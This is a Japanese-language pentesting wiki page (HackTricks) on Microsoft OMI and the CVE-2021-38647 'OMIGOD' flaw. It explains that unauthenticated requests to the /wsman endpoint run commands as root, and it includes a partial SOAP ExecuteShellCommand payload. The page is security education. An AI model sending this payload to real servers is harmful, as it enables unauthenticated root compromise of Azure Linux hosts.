mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
44 lines
2.4 KiB
Markdown
44 lines
2.4 KiB
Markdown
# 5985,5986 - Pentesting OMI
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
### **基本情報**
|
||
|
||
**OMI**は、Microsoftによって提供される**[オープンソース](https://github.com/microsoft/omi)**ツールで、リモート構成管理のために設計されています。特に、次のようなサービスを利用するAzure上のLinuxサーバーに関連しています:
|
||
|
||
- **Azure Automation**
|
||
- **Azure Automatic Update**
|
||
- **Azure Operations Management Suite**
|
||
- **Azure Log Analytics**
|
||
- **Azure Configuration Management**
|
||
- **Azure Diagnostics**
|
||
|
||
これらのサービスが有効化されると、プロセス`omiengine`が起動し、すべてのインターフェースでrootとしてリスニングします。
|
||
|
||
**使用されるデフォルトポート**は**5985**(http)および**5986**(https)です。
|
||
|
||
### **[CVE-2021-38647 脆弱性](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||
|
||
9月16日に観察されたように、Azureに展開されたLinuxサーバーは、前述のサービスにより、OMIの脆弱なバージョンのために影響を受けやすいです。この脆弱性は、OMIサーバーが`/wsman`エンドポイントを通じてメッセージを処理する際に、Authenticationヘッダーを要求せず、クライアントを不正に認証することにあります。
|
||
|
||
攻撃者は、Authenticationヘッダーなしで"ExecuteShellCommand" SOAPペイロードを送信することでこれを悪用し、サーバーにroot権限でコマンドを実行させることができます。
|
||
```xml
|
||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
||
...
|
||
<s:Body>
|
||
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
|
||
<p:command>id</p:command>
|
||
<p:timeout>0</p:timeout>
|
||
</p:ExecuteShellCommand_INPUT>
|
||
</s:Body>
|
||
</s:Envelope>
|
||
```
|
||
このCVEに関する詳細は**[こちらを確認してください](https://github.com/horizon3ai/CVE-2021-38647)**。
|
||
|
||
## 参考文献
|
||
|
||
- [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
||
- [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|